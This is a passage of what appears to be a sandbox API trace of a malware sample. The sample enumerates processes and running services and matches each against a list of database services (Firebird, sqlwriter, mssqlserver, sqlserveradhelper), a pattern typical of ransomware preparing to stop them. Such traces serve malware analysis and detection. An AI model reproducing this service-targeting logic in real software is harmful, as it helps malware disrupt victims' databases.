lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0223.843] lstrlenW (lpString="userinit.exe") returned 12 [0223.843] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.843] lstrlenW (lpString="explorer.exe") returned 12 [0223.843] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.844] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0223.844] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.844] lstrlenW (lpString="SearchUI.exe") returned 12 [0223.844] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.844] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0223.844] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0223.844] lstrlenW (lpString="mobsync.exe") returned 11 [0223.844] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0223.845] lstrlenW (lpString="winhost.exe") returned 11 [0223.845] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.845] lstrlenW (lpString="cmd.exe") returned 7 [0223.845] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0223.845] CloseHandle (hObject=0x27c) returned 1 [0223.845] Sleep (dwMilliseconds=0x1f4) [0224.499] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52eff0 [0224.500] EnumServicesStatusExW (in: hSCManager=0x52eff0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0224.500] GetLastError () returned 0xea [0224.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a4e) returned 0x39a5ac0 [0224.500] EnumServicesStatusExW (in: hSCManager=0x52eff0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39a5ac0, cbBufSize=0x1a4e, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39a5ac0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0224.501] CloseServiceHandle (hSCObject=0x52eff0) returned 1 [0224.501] lstrlenW (lpString="AppXSvc") returned 7 [0224.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0224.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0224.501] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0224.501] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0224.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0224.501] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0224.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.501] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0224.501] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0224.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0224.501] lstrlenW (lpString="Audiosrv") returned 8 [0224.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0224.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0224.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0224.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0224.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0224.501] lstrlenW (lpString="BFE") returned 3 [0224.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0224.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0224.501] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0224.501] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0224.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0224.501] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0224.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0224.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0224.501] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0224.502] lstrlenW (lpString="CDPSvc") returned 6 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0224.502] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0224.502] lstrlenW (lpString="CryptSvc") returned 8 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0224.502] lstrlenW (lpString="DcomLaunch") returned 10 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0224.502] lstrlenW (lpString="DeviceAssociationService") returned 24 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0224.502] lstrlenW (lpString="Dhcp") returned 4 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0224.502] lstrlenW (lpString="Dnscache") returned 8 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0224.502] lstrlenW (lpString="DPS") returned 3 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0224.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0224.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0224.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0224.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0224.502] lstrlenW (lpString="DusmSvc") returned 7 [0224.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0224.503] lstrlenW (lpString="EventLog") returned 8 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0224.503] lstrlenW (lpString="EventSystem") returned 11 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0224.503] lstrlenW (lpString="FontCache") returned 9 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0224.503] lstrlenW (lpString="gpsvc") returned 5 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0224.503] lstrlenW (lpString="iphlpsvc") returned 8 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0224.503] lstrlenW (lpString="KeyIso") returned 6 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0224.503] lstrlenW (lpString="LanmanServer") returned 12 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0224.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0224.503] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0224.503] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0224.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0224.503] lstrlenW (lpString="LanmanWorkstation") returned 17 [0224.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0224.504] lstrlenW (lpString="lfsvc") returned 5 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0224.504] lstrlenW (lpString="lmhosts") returned 7 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0224.504] lstrlenW (lpString="LSM") returned 3 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0224.504] lstrlenW (lpString="MpsSvc") returned 6 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0224.504] lstrlenW (lpString="NcbService") returned 10 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0224.504] lstrlenW (lpString="netprofm") returned 8 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0224.504] lstrlenW (lpString="NgcSvc") returned 6 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0224.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0224.504] lstrlenW (lpString="NlaSvc") returned 6 [0224.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0224.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0224.504] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0224.504] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0224.505] lstrlenW (lpString="nsi") returned 3 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0224.505] lstrlenW (lpString="PcaSvc") returned 6 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0224.505] lstrlenW (lpString="PlugPlay") returned 8 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0224.505] lstrlenW (lpString="Power") returned 5 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0224.505] lstrlenW (lpString="ProfSvc") returned 7 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0224.505] lstrlenW (lpString="RpcEptMapper") returned 12 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0224.505] lstrlenW (lpString="RpcSs") returned 5 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0224.505] lstrlenW (lpString="SamSs") returned 5 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0224.505] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0224.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0224.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0224.505] lstrlenW (lpString="Schedule") returned 8 [0224.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0224.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0224.506] lstrlenW (lpString="SecurityHealthService") returned 21 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0224.506] lstrlenW (lpString="SENS") returned 4 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0224.506] lstrlenW (lpString="ShellHWDetection") returned 16 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0224.506] lstrlenW (lpString="Spooler") returned 7 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0224.506] lstrlenW (lpString="StateRepository") returned 15 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0224.506] lstrlenW (lpString="SysMain") returned 7 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0224.506] lstrlenW (lpString="SystemEventsBroker") returned 18 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0224.506] lstrlenW (lpString="Themes") returned 6 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0224.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0224.506] lstrcmpiW (lpString1="sqlwriter", 